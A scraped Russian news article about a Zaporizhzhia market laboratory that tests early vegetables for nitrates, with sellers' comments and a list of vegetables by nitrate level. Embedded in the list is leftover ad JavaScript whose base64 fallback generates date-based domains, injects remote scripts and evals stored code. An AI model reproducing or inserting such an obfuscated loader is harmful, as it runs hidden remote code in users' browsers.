Работа у сотрудников лаборатории на Крытом рынке начинается с шести утра.
До его открытия они проверяют овощи реализаторов на содержание нитратов. Весной — акцент на ранних культурах. Как это делается, показывают на примере огурца. Сначала его измельчают на терке, отбирают 10 граммов сока и смешивают со спецраствором. После этого — самое интересное. Смесь подсоединяют к аппарату и уже через минуту он показывает содержание нитратов.
В лаборатории отмечают: в этом году овощей, в которых содержание нитратов превышало норму, пока не выявляли. Положительную статистику связывают с тем, что фермеры уже не так злоупотребляют удобрениями.
Когда овощи проверили, выписывают выводы экспертизы и передают реализаторам, чтобы покупатели могли убедиться в качестве продукта. Такой документ показывает нам и продавец Анна Никифорова. Она торгует овощами уже 15 лет. Рассказывает, у нее ранний урожай люди покупать не боятся, однако придирчивые покупатели все же интересуются о наличии нитратов.
Подтверждает слова Анны и продавец Оксана. Говорит, ранние овощи люди покупают, однако в некоторых случаях относятся с осторожностью.
В свою очередь специалисты советуют не покупать ранние овощи в местах стихийной торговли. Ведь у таких реализаторов продукция на содержание нитратов не проверяется. А их употребление может навредить здоровью.
По способности накапливать нитраты овощи, плоды и фрукты делятся на 3 группы: var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
С высоким содержанием нитратов (до 5000мг/кг сырой массы) — салат, шпинат, свекла, укроп, листовая капуста, редис, зелёный лук, дыни, арбузы
Со средним содержанием нитратов (300-600мг/кг) — цветная капуста, кабачки, тыква, репа, редька, белокочанная капуста, хрен, морковь, огурцы
С низким содержанием нитратов (10-80мг/кг) — брюссельская капуста, горох, щавель, фасоль, картофель, томаты, репчатый лук, фрукты и ягоды.
Детальнее смотрите в видеосюжете муниципального телеканала Запорожья.
Подписывайтесь на Акцент в
Фото: Время новостей (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/v-zaporozhskoj-laboratorii-rasskazali-gde-mozhno-kupit-rannie-ovoshhi-bez-nitratov-video/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
